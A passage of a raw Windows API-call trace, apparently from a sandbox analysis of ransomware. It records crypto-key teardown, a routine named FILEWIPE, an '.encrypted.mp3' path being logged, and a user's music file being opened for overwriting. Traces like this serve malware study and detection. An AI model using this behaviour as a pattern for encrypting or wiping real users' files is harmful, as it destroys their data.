wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.262] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.262] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0027.262] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.262] CryptDestroyKey (hKey=0xe8f4062640) returned 1 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.262] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.262] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.262] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.262] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.262] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.263] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.263] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.263] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.263] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.263] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.263] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.263] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.265] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.266] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.266] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0027.266] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.266] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.267] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.267] CharLowerBuffW (in: lpsz="byte[87225]", cchLength=0xb | out: lpsz="byte[87225]") returned 0xb [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.268] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.268] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.268] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.268] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.269] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.269] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.269] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.269] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.269] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.269] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.271] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.271] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.271] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.271] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.271] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7237) returned 1 [0027.271] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.271] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.271] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.271] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1c45, lpOverlapped=0x0) returned 1 [0027.271] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.271] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1c45, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.272] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7237) returned 1 [0027.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.encrypted.mp3\r\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0027.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.encrypted.mp3\r\n", cchWideChar=66, lpMultiByteStr=0xe8f4051bd0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.encrypted.mp3\r\n", lpUsedDefaultChar=0x0) returned 66 [0027.272] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069a10*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069a10*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x41, lpOverlapped=0x0) returned 1 [0027.272] CloseHandle (hObject=0x1fc) returned 1 [0027.274] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.274] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.275] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.275] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.275] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.275] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.275] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.276] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.276] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.276] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178860, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.277] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.mp3", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0027.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.mp3", cchWideChar=60, lpMultiByteStr=0xe8f40515e0, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.mp3", lpUsedDefaultChar=0x0) returned 60 [0027.277] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\n_v7t6p3k51.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=60, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 60 [0027.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=60, lpWideCharStr=0xe8f40661f0, cchWideChar=60 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\N_V7T6P3k51.mp3") returned 60 [0027.278] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.278] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.279] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.279] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.279] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41784e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.279] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.279] CloseHandle (hObject=0x1fc) returned 1 [0027.279] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.280] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.280] 